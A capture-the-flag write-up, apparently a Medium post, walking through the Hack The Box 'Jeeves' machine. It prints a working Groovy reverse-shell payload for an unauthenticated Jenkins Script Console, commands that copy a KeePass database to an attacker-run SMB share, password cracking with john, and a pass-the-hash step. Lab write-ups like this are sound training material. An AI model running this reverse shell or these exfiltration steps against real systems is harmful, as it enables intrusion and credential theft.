Sitemap

Hack The Box: Jeeves Walkthrough

3 min readMay 22, 2025

--

Press enter or click to view image in full size

Here’s a quick walkthrough of the Jeeves machine from Hack The Box.

Nmap Scan result:

Press enter or click to view image in full size

Service Enumeration

50000/tcp

This is the default page

Press enter or click to view image in full size

gobuster

gobuster revealed a hidden /askjeeves/ directory with a 302 redirect. Visiting it led to a Jenkins dashboard.

Press enter or click to view image in full size
Press enter or click to view image in full size
Unauthenticated access to Jenkins dashboard discovered at /askjeeves/ .

Shell as kohsuke

/askjeeves

Let’s listen on port 4444 to catch the reverse shell.

Press enter or click to view image in full size

Go to Manage Jenkins → Script Console, insert the reverse shell script, and click Run to gain a shell as kohsuke.

While searching for Jenkins script console reverse shell, I found a working payload.

String host="<your_machine_IP>";
int port=<your_webserver_port>;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Press enter or click to view image in full size

Shell as nt authority\system

kdbx file

Found a CEH.kdbx KeePass database file in C:\Users\kohsuke\Documents, which could contain sensitive credentials.

Press enter or click to view image in full size

Transfer file

# In Attack Machine
impacket-smbserver ps_share `pwd` -smb2support

# In Target Machine
copy CEH.kdbx \\<MY_HOST_IP>\ps_share\CEH.kdbx
Press enter or click to view image in full size

Interacting with kdbx file

While searching for kali linux how to open kdbx file, I found this helpful guide.

Tried opening the CEH.kdbx file using kpcli, but it prompts for a master password to proceed(which we don’t have).

Press enter or click to view image in full size

John the Ripper

Get pack3tsniper’s stories in your inbox

Join Medium for free to get updates from this writer.

Used keepass2john to extract the hash from CEH.kdbx and cracked it using john with the rockyou.txt wordlist. The recovered password was moonshine1.

Press enter or click to view image in full size

let’s open the CEH.kdbx file using kpcli to explore its contents.

┌──(kali㉿kali)-[~/htb/Jeeves]
└─$ kpcli
...
kpcli:/> open CEH.kdbx
Provide the master password: *************************
kpcli:/> cd CEH/
kpcli:/CEH> ls
...
0. Backup stuff
... www.walmart.com
kpcli:/CEH> show -f 0
...
Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
...
kpcli:/CEH>
Press enter or click to view image in full size

Pass-the-Hash

Press enter or click to view image in full size

ADS(Alternate Data Stream)

C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere. Look deeper.
C:\Users\Administrator\Desktop> dir /R
...
12/24/2017 03:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
...
C:\Users\Administrator\Desktop> type hm.txt:root.txt:$DATA
The filename, directory name, or volume label syntax is incorrect.

C:\Users\Administrator\Desktop> more < hm.txt:root.txt:$DATA
...
Press enter or click to view image in full size

In this case, trying to read the alternate data stream with type hm.txt:root.txt:$DATA failed due to syntax limitations of the type command. Instead, using more < hm.txt:root.txt:$DATA successfully revealed the hidden content.

--

--